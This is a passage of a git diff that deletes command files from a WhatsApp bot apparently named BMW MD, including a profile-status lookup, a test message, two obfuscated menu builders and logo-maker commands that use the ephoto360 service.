- try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
- const status = await zk.fetchStatus(jid) ;
-
- mess = {
- image : { url : ppUrl },
- caption : '*Nom :* '+ nom + '\n*Status :*\n' + status.status
- }
-
- } else {
- jid = auteurMsgRepondu;
- nom ="@"+auteurMsgRepondu.split("@")[0] ;
-
- try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
- const status = await zk.fetchStatus(jid) ;
-
- mess = {
- image : { url : ppUrl },
- caption : '*Name :* '+ nom + '\n*Status :*\n' + status.status,
- mentions:[auteurMsgRepondu]
- }
-
- } ;
-
-
-
-
-
- zk.sendMessage(dest,mess,{quoted : ms})
- });
diff --git a/scs/bmwbi.js b/scs/bmwbi.js
deleted file mode 100644
index 805e680..0000000
--- a/scs/bmwbi.js
+++ /dev/null
@@ -1,15 +0,0 @@
-"use strict";
-Object.defineProperty(exports, "__esModule", { value: true });
-const { adams } = require("../Ibrahim/adams");
-adams({ nomCom: "test", reaction: "🧒", nomFichier: __filename }, async (dest, zk, commandeOptions) => {
- console.log("Commande saisie !!!s");
- let z = '*🌍𝑩𝒐𝒕 𝒊𝒔 𝒐𝒏𝒍𝒊𝒏𝒆🌍* 🙏 \n\n ' + "𝑻𝒉𝒆 𝒃𝒐𝒕 𝒊𝒔 𝒄𝒖𝒓𝒓𝒆𝒏𝒕𝒍𝒚 𝒘𝒐𝒓𝒌𝒊𝒏𝒈 𝒐𝒏 𝒂 𝒈𝒐𝒐𝒅 𝒔𝒑𝒆𝒆𝒅😉👍";
- let d = ' 𝑯𝒆𝒂𝒍𝒕𝒉 𝒔𝒕𝒂𝒕𝒖𝒔✨';
- let varmess = z + d;
- var mp4 = 'https://telegra.ph/file/ce58cf8c538b1496fda33.mp4';
- await zk.sendMessage(dest, { video: { url: mp4 }, caption: varmess });
- //console.log("montest")
-});
-console.log("mon test");
-
-
diff --git a/scs/bmwbo.js b/scs/bmwbo.js
deleted file mode 100644
index d4c6aca..0000000
--- a/scs/bmwbo.js
+++ /dev/null
@@ -1 +0,0 @@
-function _0x4c7c(_0x17d2f9,_0x17dd93){const _0x23dc2f=_0x24be();return _0x4c7c=function(_0x13f34f,_0x54ddb4){_0x13f34f=_0x13f34f-(0x1910+-0x779*-0x1+-0x1f28);let _0x5ad829=_0x23dc2f[_0x13f34f];return _0x5ad829;},_0x4c7c(_0x17d2f9,_0x17dd93);}const _0x372c16=_0x4c7c;function _0x24be(){const _0x3a2f55=['repeat','┇\x20ᴍᴏᴅᴇ:\x20*','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','totalmem','YWARL','format','Good\x20after','Ongfv','CTyJh','WMbiQ','cforU','zNFPC','FmFnU','┈┈━═──━┈⊷\x0a','menu','m/adams','m/mesfonct','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','jrVmB','yPJmS','rhJgu','yfHvg','cCXDi','forEach','029VaZuGSx','rfaiN','GEGTn','oSxAM','noon','30pmMjyW','═══════❒*\x0a','\x0a*╏*\x20','toUpperCas','860hKFYAc','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','jhcAn','audio/mp4','DD/MM/YYYY','WxHhm','©Ibrahim\x20A','▄▀▄▀▄','QFlEJ','toLowerCas','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','QDUZw','HH:mm:ss','mdntZ','PqUJo','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','┈━═──━┈⊷\x0a\x0a','moment-tim',':\x20*[\x20','▀▄▀▄▀▄\x0a©𝑰𝒃','XoIHF','CQWih','/../Ibrahi','Good\x20eveni','General','*\x0a┇\x20ᴛʏᴘᴇ:\x20','freemem','map','private','log','kqmaq','ions','zpdbN','▄▀▄▀▄▀▄▀▄▀','BPJBl','*ᴠ6x*\x0a┇\x20ᴅᴀ','.moe/oordg','cNhIZ','┈━═──━┈⊷\x0a┇','rOqJh','*\x0a┇\x20ᴛɪᴍᴇ:\x20','.moe/va22v','ADAMS','EhZZF','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','igwkG','FJPnW','public','dams','\x0a▄▀▄▀▄▀▄▀▄','qpGXl','ᴛᴇ:\x20*','aIGrI','https://fi','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','ᴛ\x0a╰─────═━','ZTzVh','/../config','atsapp.com','Good\x20morni','MODE','les.catbox','IaJjO','setDefault','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','q.jpeg','/channel/0','PKgwM','platform','\x0a╰─────═━┈','categorie','Y\x20IBRAHIM\x20','\x0a*╰─══════','*╭────❒*\x20*','*\x20*❒*','*\x0a┇\x20ᴘʀᴇғɪx','\x20\x0a╭─────═━','EEMdQ','jDINF','KkAOK','197312GsLOUf','BMW\x20SONG\x20B','cXSVT','14mscgOO','BMW\x20MD\x20SON','FNusL','mRHRz','ezone','\x20]*\x0a┇\x20ᴘʟᴀᴛ','push','5oMYPsE','\x0a╭─────═━┈','.moe/ytix9','fromCharCo','nomCom','ғᴏʀᴍ:\x20*','jmfVo','\x20🌍\x0a\x0a','rmjtp','2994783VVihuz','aoBkJ','5.mp3','Good\x20night','keys','M0Y','hour','mamOP','ZQfTb','https://wh','EawdxZK9Cz','876480aOKfCy','6147HzQVgL','ulLix','IuZFi','ycoFG','85062WgbvwF','zXyoo','sendMessag','f.jpeg','ZsAra','nTFsy','SyJME','reur\x20','794200aneZOI','aRNnX','ᴛʏ\x20','yzQLL','TGtTl','CFktr','765546thzoSZ','HqpAJ','🥵🥵\x20Menu\x20er','sort','UqhaO'];_0x24be=function(){return _0x3a2f55;};return _0x24be();}(function(_0x3432c7,_0x48381c){const _0x2a4145=_0x4c7c,_0x214bee=_0x3432c7();while(!![]){try{const _0xb5233f=parseInt(_0x2a4145(0x191))/(0x1196*0x1+0xb43*0x2+-0x1*0x281b)*(-parseInt(_0x2a4145(0x1aa))/(0x9a7+0x1*0x2fc+0x35*-0x3d))+parseInt(_0x2a4145(0x1a5))/(-0x5e+0x1c50+-0x1*0x1bef)+-parseInt(_0x2a4145(0x187))/(-0x163d+0x1317+0x32a)*(parseInt(_0x2a4145(0x1db))/(-0x762+-0x2455+0x2bbc))+-parseInt(_0x2a4145(0x1b8))/(-0x14b1+-0x1b4c+0x3003*0x1)*(-parseInt(_0x2a4145(0x18a))/(0x1c15+-0xbc*0x20+-0x48e))+-parseInt(_0x2a4145(0x1b2))/(-0x1*-0x23ad+-0x925+-0x1a80)+parseInt(_0x2a4145(0x1a6))/(0x7*-0x487+0xd3*0x6+-0x359*-0x8)*(-parseInt(_0x2a4145(0x1df))/(-0x23a5+-0xe81+0x3230))+parseInt(_0x2a4145(0x19a))/(-0x124d+-0x1ad7+-0x10d*-0x2b);if(_0xb5233f===_0x48381c)break;else _0x214bee['push'](_0x214bee['shift']());}catch(_0x242ef8){_0x214bee['push'](_0x214bee['shift']());}}}(_0x24be,0x43701+0x30f*0x9+-0x1fd09));const {adams}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1cd))),{format}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1ce)+_0x372c16(0x1fe))),os=require('os'),moment=require(_0x372c16(0x1f0)+_0x372c16(0x18e)),s=require(__dirname+_0x372c16(0x170)),more=String[_0x372c16(0x194)+'de'](0x5aa*0x7+0xdb3+-0x154b),readmore=more[_0x372c16(0x1bd)](0x1634+0x16c6+-0x1d59);adams({'nomCom':_0x372c16(0x1cc),'categorie':_0x372c16(0x1f7)},async(_0x280d21,_0x45e8ec,_0x2cf75e)=>{const _0x2d85ce=_0x372c16,_0x4b8c5d={'jrVmB':function(_0x115e0f,_0x438b63){return _0x115e0f+_0x438b63;},'IuZFi':_0x2d85ce(0x1dd),'ZQfTb':function(_0x235e69,_0x46ba3e){return _0x235e69+_0x46ba3e;},'EEMdQ':_0x2d85ce(0x180),'IaJjO':_0x2d85ce(0x181),'rfaiN':_0x2d85ce(0x17f)+_0x2d85ce(0x1dc),'FJPnW':function(_0x1a6270,_0x1e3fa4){return _0x1a6270(_0x1e3fa4);},'WMbiQ':_0x2d85ce(0x1f5)+_0x2d85ce(0x1cd),'CFktr':function(_0x3a6504,_0x251e7e){return _0x3a6504===_0x251e7e;},'oSxAM':_0x2d85ce(0x166),'UqhaO':_0x2d85ce(0x1fb),'CQWih':function(_0x101145){return _0x101145();},'mdntZ':_0x2d85ce(0x1eb),'QFlEJ':function(_0x4d3a82){return _0x4d3a82();},'zpdbN':_0x2d85ce(0x1e3),'YWARL':function(_0x2db421){return _0x2db421();},'QDUZw':_0x2d85ce(0x19d),'igwkG':function(_0xad7156,_0xdca441){return _0xad7156>=_0xdca441;},'XoIHF':function(_0x26cfdf,_0x357923){return _0x26cfdf<=_0x357923;},'jDINF':_0x2d85ce(0x172)+'ng','KkAOK':function(_0x174f77,_0x4601fc){return _0x174f77<=_0x4601fc;},'EhZZF':_0x2d85ce(0x1c4)+_0x2d85ce(0x1da),'cCXDi':function(_0x57b9a3,_0x4d3a0c){return _0x57b9a3>=_0x4d3a0c;},'yzQLL':_0x2d85ce(0x1f6)+'ng','ulLix':function(_0xf1c60a,_0xeb1319){return _0xf1c60a+_0xeb1319;},'FmFnU':function(_0x115318,_0x4f5270){return _0x115318+_0x4f5270;},'ycoFG':function(_0x2d347b,_0x413057){return _0x2d347b+_0x413057;},'TGtTl':function(_0x5d7189,_0x2d5396){return _0x5d7189+_0x2d5396;},'HqpAJ':function(_0x1f6c9a,_0x4a0a4f){return _0x1f6c9a+_0x4a0a4f;},'aRNnX':function(_0x20e935,_0x8f00b2){return _0x20e935+_0x8f00b2;},'aIGrI':function(_0x34ea1d,_0x1af168){return _0x34ea1d+_0x1af168;},'zNFPC':function(_0x4f18bc,_0x1f46cd){return _0x4f18bc+_0x1f46cd;},'CTyJh':function(_0x18b348,_0x276096){return _0x18b348+_0x276096;},'kqmaq':_0x2d85ce(0x192)+_0x2d85ce(0x205)+_0x2d85ce(0x1e0)+_0x2d85ce(0x1cf)+_0x2d85ce(0x1be),'jmfVo':_0x2d85ce(0x182)+_0x2d85ce(0x1f1),'jhcAn':_0x2d85ce(0x18f)+_0x2d85ce(0x196),'rmjtp':_0x2d85ce(0x1f8)+_0x2d85ce(0x202)+_0x2d85ce(0x16a),'mamOP':_0x2d85ce(0x207)+'*','BPJBl':_0x2d85ce(0x1e9)+_0x2d85ce(0x1b4),'nTFsy':function(_0x26dfde,_0x43dbbb){return _0x26dfde(_0x43dbbb);},'cXSVT':function(_0x501ee9,_0xf6180){return _0x501ee9-_0xf6180;},'rOqJh':function(_0x43730c,_0x59ea71){return _0x43730c(_0x59ea71);},'cNhIZ':_0x2d85ce(0x17c)+_0x2d85ce(0x1ef)+_0x2d85ce(0x1bf)+_0x2d85ce(0x1ee)+_0x2d85ce(0x198),'PKgwM':function(_0x1d4099,_0x238bfc){return _0x1d4099+_0x238bfc;},'cforU':_0x2d85ce(0x183)+_0x2d85ce(0x1cb)+_0x2d85ce(0x1c0)+_0x2d85ce(0x16d)+_0x2d85ce(0x16e)+_0x2d85ce(0x1cb)+'\x0a','aoBkJ':_0x2d85ce(0x168)+_0x2d85ce(0x1f2)+_0x2d85ce(0x163)+_0x2d85ce(0x177)+_0x2d85ce(0x200)+_0x2d85ce(0x1e6),'ZsAra':function(_0x5365f5,_0x1bf3af){return _0x5365f5+_0x1bf3af;},'WxHhm':_0x2d85ce(0x1e5)+_0x2d85ce(0x167),'FNusL':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x193)+_0x2d85ce(0x1ad),'Ongfv':_0x2d85ce(0x1a3)+_0x2d85ce(0x171)+_0x2d85ce(0x179)+_0x2d85ce(0x1d6)+_0x2d85ce(0x1a4)+_0x2d85ce(0x19f),'PqUJo':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x203)+_0x2d85ce(0x19c),'zXyoo':_0x2d85ce(0x1e2),'yfHvg':_0x2d85ce(0x18b)+'G','mRHRz':_0x2d85ce(0x188)+_0x2d85ce(0x17e)+_0x2d85ce(0x161),'yPJmS':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x208)+_0x2d85ce(0x178),'ZTzVh':function(_0x2b8a9e,_0x33d72a){return _0x2b8a9e+_0x33d72a;},'SyJME':_0x2d85ce(0x1ba)+_0x2d85ce(0x1b1),'rhJgu':function(_0x12bbad,_0x4061a2){return _0x12bbad(_0x4061a2);}};let {ms:_0x22faec,repondre:_0xf8a744,prefixe:_0x4fbe7b,nomAuteurMessage:_0x445453}=_0x2cf75e,{cm:_0x5cf5e1}=_0x4b8c5d[_0x2d85ce(0x165)](require,_0x4b8c5d[_0x2d85ce(0x1d0)](__dirname,_0x4b8c5d[_0x2d85ce(0x1c7)]));var _0x1d1021={},_0x1b1567=_0x4b8c5d[_0x2d85ce(0x1b7)](s[_0x2d85ce(0x173)][_0x2d85ce(0x1e8)+'e'](),_0x4b8c5d[_0x2d85ce(0x1d9)])?_0x4b8c5d[_0x2d85ce(0x1d9)]:_0x4b8c5d[_0x2d85ce(0x1bc)];_0x5cf5e1[_0x2d85ce(0x1fa)](_0x1e49c8=>{const _0x5ad9a1=_0x2d85ce,_0x4c5040=_0x1e49c8[_0x5ad9a1(0x17d)][_0x5ad9a1(0x1de)+'e']();!_0x1d1021[_0x4c5040]&&(_0x1d1021[_0x4c5040]=[]),_0x1d1021[_0x4c5040][_0x5ad9a1(0x190)](_0x1e49c8[_0x5ad9a1(0x195)]);}),moment['tz'][_0x2d85ce(0x176)](_0x4b8c5d[_0x2d85ce(0x1a2)]('',s['TZ']));const _0x26b957=_0x4b8c5d[_0x2d85ce(0x1f4)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ec)]),_0x503ace=_0x4b8c5d[_0x2d85ce(0x1e7)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ff)]),_0x51e4c8=_0x4b8c5d[_0x2d85ce(0x1c2)](moment)[_0x2d85ce(0x1a0)]();let _0x265f04=_0x4b8c5d[_0x2d85ce(0x1ea)];_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0xf04*0x1+0xa77+-0x197b)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,-0x25f*0xd+0x8*0x471+-0x4aa)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x185)]:_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0x6eb*0x5+0xc57+-0x2ee2)&&_0x4b8c5d[_0x2d85ce(0x186)](_0x51e4c8,0x8f*0x27+-0x645+-0xf74)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x162)]:_0x4b8c5d[_0x2d85ce(0x1d4)](_0x51e4c8,0x2*-0xa85+-0x12f5+0x1*0x280f)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,0x202d+0x17*0xf6+-0x3632)&&(_0x265f04=_0x4b8c5d[_0x2d85ce(0x1b5)]);let _0x552c3b=_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1a9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1b6)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1b9)](_0x4b8c5d[_0x2d85ce(0x1b3)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1c9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1c6)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1fd)],_0x1b1567),_0x4b8c5d[_0x2d85ce(0x197)]),_0x4fbe7b),_0x4b8c5d[_0x2d85ce(0x1e1)]),os[_0x2d85ce(0x17b)]()),_0x4b8c5d[_0x2d85ce(0x199)]),_0x503ace),_0x4b8c5d[_0x2d85ce(0x1a1)]),_0x26b957),_0x4b8c5d[_0x2d85ce(0x201)]),_0x4b8c5d[_0x2d85ce(0x1af)](format,_0x4b8c5d[_0x2d85ce(0x189)](os[_0x2d85ce(0x1c1)](),os[_0x2d85ce(0x1f9)]()))),'/'),_0x4b8c5d[_0x2d85ce(0x206)](format,os[_0x2d85ce(0x1c1)]())),_0x4b8c5d[_0x2d85ce(0x204)]),_0x1dc1d4=_0x4b8c5d[_0x2d85ce(0x17a)](readmore,_0x4b8c5d[_0x2d85ce(0x1c8)]);const _0x4db48b=Object[_0x2d85ce(0x19e)](_0x1d1021)[_0x2d85ce(0x1bb)]();_0x4db48b[_0x2d85ce(0x1d5)](_0x13e260=>{const _0x4e63d8=_0x2d85ce,_0x444d42={'GEGTn':function(_0x4c70fd,_0x1724d4){const _0x4c0177=_0x4c7c;return _0x4b8c5d[_0x4c0177(0x1d0)](_0x4c70fd,_0x1724d4);},'qpGXl':_0x4b8c5d[_0x4e63d8(0x1a8)]};_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1a2)](_0x4b8c5d[_0x4e63d8(0x1d0)](_0x4b8c5d[_0x4e63d8(0x184)],_0x13e260),_0x4b8c5d[_0x4e63d8(0x175)]),_0x1d1021[_0x13e260][_0x4e63d8(0x1d5)](_0x2a76c3=>{const _0x160673=_0x4e63d8;_0x1dc1d4+=_0x444d42[_0x160673(0x1d8)](_0x444d42[_0x160673(0x169)],_0x2a76c3);}),_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1d7)];}),_0x1dc1d4+=_0x4b8c5d[_0x2d85ce(0x19b)];try{await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'text':_0x4b8c5d[_0x2d85ce(0x1ae)](_0x552c3b,_0x1dc1d4),'contextInfo':{'mentionedJid':[_0x445453],'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x1e4)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x18c)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'audio':{'url':_0x4b8c5d[_0x2d85ce(0x1ed)]},'mimetype':_0x4b8c5d[_0x2d85ce(0x1ab)],'ptt':![],'caption':_0x4b8c5d[_0x2d85ce(0x1d3)],'contextInfo':{'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x18d)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x1d1)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'rendersmallThumbnail':![]}}});}catch(_0x569d9f){console[_0x2d85ce(0x1fc)](_0x4b8c5d[_0x2d85ce(0x16f)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f)),_0x4b8c5d[_0x2d85ce(0x1d2)](_0xf8a744,_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f));}});
\ No newline at end of file
diff --git a/scs/bmwboo.js b/scs/bmwboo.js
deleted file mode 100644
index 589a6ec..0000000
--- a/scs/bmwboo.js
+++ /dev/null
@@ -1,2 +0,0 @@
-function _0x2b3c(_0x16c484,_0x2d5d41){const _0x265a32=_0x265a();return _0x2b3c=function(_0x2b3cbf,_0x2c5322){_0x2b3cbf=_0x2b3cbf-0x15e;let _0x54fadc=_0x265a32[_0x2b3cbf];return _0x54fadc;},_0x2b3c(_0x16c484,_0x2d5d41);}const _0x1284c5=_0x2b3c;(function(_0x44f7b0,_0x5c218e){const _0x5ac986=_0x2b3c,_0x4bf92b=_0x44f7b0();while(!![]){try{const _0x2ca696=-parseInt(_0x5ac986(0x161))/0x1*(-parseInt(_0x5ac986(0x180))/0x2)+-parseInt(_0x5ac986(0x165))/0x3*(parseInt(_0x5ac986(0x183))/0x4)+parseInt(_0x5ac986(0x189))/0x5*(parseInt(_0x5ac986(0x18a))/0x6)+-parseInt(_0x5ac986(0x17a))/0x7*(-parseInt(_0x5ac986(0x177))/0x8)+-parseInt(_0x5ac986(0x16d))/0x9+-parseInt(_0x5ac986(0x17e))/0xa*(parseInt(_0x5ac986(0x168))/0xb)+parseInt(_0x5ac986(0x16c))/0xc;if(_0x2ca696===_0x5c218e)break;else _0x4bf92b['push'](_0x4bf92b['shift']());}catch(_0x378a47){_0x4bf92b['push'](_0x4bf92b['shift']());}}}(_0x265a,0x32d21));const util=require('util'),fs=require(_0x1284c5(0x173)),{adams}=require(__dirname+_0x1284c5(0x186)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x1284c5(0x160)),s=require(__dirname+_0x1284c5(0x167)),more=String[_0x1284c5(0x187)](0x200e),Taphere=more[_0x1284c5(0x16e)](0xfa1);adams({'nomCom':_0x1284c5(0x16f),'categorie':'General'},async(_0x15bd1b,_0x34ad3b,_0x225f1b)=>{const _0x589ec1=_0x1284c5;let {ms:_0x42419d,repondre:_0x4a57b6,prefixe:_0x2fc159,nomAuteurMessage:_0x19fe77,mybotpic:_0x15306d}=_0x225f1b,{cm:_0xbc2887}=require(__dirname+'/../Ibrahim//adams');var _0x4c7b14={},_0x242361=_0x589ec1(0x163);s['MODE'][_0x589ec1(0x169)]()!=_0x589ec1(0x166)&&(_0x242361=_0x589ec1(0x162));_0xbc2887[_0x589ec1(0x176)](async(_0x4bc1db,_0x410859)=>{const _0x37d376=_0x589ec1;if(!_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]])_0x4c7b14[_0x4bc1db['categorie']]=[];_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]]['push'](_0x4bc1db[_0x37d376(0x185)]);}),moment['tz'][_0x589ec1(0x179)](_0x589ec1(0x188));const _0x49a8d9=moment()[_0x589ec1(0x184)](_0x589ec1(0x172)),_0x48bf66=moment()['format'](_0x589ec1(0x174));let _0x5f0c7e=_0x589ec1(0x15f)+_0x19fe77+'*\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐀𝐈𝐍』\x0a┇\x20🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a┇\x20💢\x20ᴛʏᴘᴇ:\x20*ᴠ6x*\x0a┇\x20🥷\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐒𝐘𝐒𝐓𝐄𝐌』\x0a┇\x20📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*6.0.3*\x0a┇\x20💻\x20ᴘʟᴀᴛғᴏʀᴍ:\x20*'+os[_0x589ec1(0x181)]()+'*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐎𝐃𝐄』\x0a┇\x20⭕\x20ᴍᴏᴅᴇ:\x20*'+_0x242361+'*\x0a┇\x20💫\x20ᴘʀᴇғɪx:\x20*[\x20'+_0x2fc159+_0x589ec1(0x15e)+_0x49a8d9+_0x589ec1(0x178)+_0x48bf66+_0x589ec1(0x164),_0x54f82b=_0x589ec1(0x17f);for(const _0x10dbdd in _0x4c7b14){_0x54f82b+=_0x589ec1(0x16b)+_0x10dbdd+'*\x20*❒*';for(const _0x2bf9c1 of _0x4c7b14[_0x10dbdd]){_0x54f82b+=_0x589ec1(0x182)+_0x2bf9c1;}_0x54f82b+=_0x589ec1(0x17c);}_0x54f82b+=_0x589ec1(0x175);var _0x4c443b=_0x15306d();if(_0x4c443b['match'](/\.(mp4|gif)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'video':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':_0x589ec1(0x17b),'gifPlayback':!![]},{'quoted':_0x42419d});}catch(_0x5d7740){console['log'](_0x589ec1(0x17d)+_0x5d7740),_0x4a57b6(_0x589ec1(0x17d)+_0x5d7740);}else{if(_0x4c443b['match'](/\.(jpeg|png|jpg)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'image':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x42419d});}catch(_0x1acf05){console[_0x589ec1(0x170)](_0x589ec1(0x17d)+_0x1acf05),_0x4a57b6(_0x589ec1(0x17d)+_0x1acf05);}else _0x4a57b6(_0x5f0c7e+_0x54f82b);}});function _0x265a(){const _0x4c9706=['categorie','HH:mm:ss','fs-extra','DD/MM/YYYY','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','map','2607464vqRsvC','\x0a┇\x20📅\x20ᴅᴀᴛᴇ:\x20','setDefault','7AvNzwU','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x0a*╰─═════════════❒*\x20\x0a','🥵🥵\x20Menu\x20erreur\x20','230TIkHUY','\x0a\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','2028xUihAV','platform','\x20\x20\x0a*╏*\x20','821336kejjBf','format','nomCom','/../Ibrahim/adams','fromCharCode','Africa/Nairobi','310SOwXSc','35304mnwZko','\x20]*\x0a┇\x20⏲️\x20ᴛɪᴍᴇ:\x20','\x0a*Hey🖐️*\x20*','moment-timezone','220yiiLSo','private','public','\x20\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a\x20\x20『𝐒𝐔𝐏𝐏𝐎𝐑𝐓』\x0a\x20\x20♾️\x20ᴡʜᴀᴛsᴀᴘᴘ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y\x0a\x20\x20♾️\x20ᴛᴇʟᴇɢʀᴀᴍ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://t.me/ibrahimtechai\x0a\x20\x20♾️\x20ʏᴏᴜᴛᴜʙᴇ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://www.youtube.com/@ibrahimaitech\x0a\x20\x20♾️\x20ɪɴsᴛᴀɢʀᴀᴍ\x20ᴘᴀɢᴇ\x0a\x20\x20https://www.instagram.com/ibrahimadamstech\x0a╰─────═━┈┈━═──━┈⊷\x0a>\x20©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x0a\x0a','6FFRSDY','yes','/../config','166507cRCrSQ','toLocaleLowerCase','sendMessage','*╭────❒*\x20*','3292464voqxzX','1990917cgHrOP','repeat','help','log'];_0x265a=function(){return _0x4c9706;};return _0x265a();}
-
diff --git a/scs/bmwbu.js b/scs/bmwbu.js
deleted file mode 100644
index cfacf00..0000000
--- a/scs/bmwbu.js
+++ /dev/null
@@ -1,500 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-var mumaker = require("mumaker");
-adams({ nomCom: "hacker",
- categorie: "Logo", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { prefixe, arg, ms, repondre } = commandeOptions;
- if (!arg || arg == "") {
- repondre("*__Exemple : * " + prefixe + "hacker Ibrahim");
- return;
- }
- try {
- let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
- let anu = await mumaker.ephoto("https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html", arg); //
- //
- // let res = Object.values(anu)[3];
- // console.log("&€"+res);
- // let lien = "https://e1.yotools.net" + res;
- repondre("* processing...*");
- await zk.sendMessage(origineMessage, { image: { url:anu.image}, caption: "* \t Logo by bmw-Md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-adams({ nomCom: "dragonball", categorie: "Logo", reaction: "🐉" }, async (dest, zk, commandeOptions) => {
- let { arg, repondre, prefixe, ms } = commandeOptions;
- try {
- const noArgMsg = `*_EXEMPLE *: ${prefixe}dragonball Ibrahim adams`;
- // if(arg=='') {await zok.sendMessage(dest,{text:noArgMsg},{quoted:infoMessage}); return;}
- if (arg == '' || !arg) {
- repondre(noArgMsg);
- return;
- }
- var lienMaker = "https://ephoto360.com/tao-hieu-ung-chu-phong-cach-dragon-ball-truc-tuyen-1000.html";
- var lienMaker2 = "https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html";
-
-
- const imgInfo = await mumaker.ephoto(lienMaker2, arg.join(' '));
-
- await zk.sendMessage(dest, { text: " *\t Traitement en cours ...*" }, { quoted: ms });
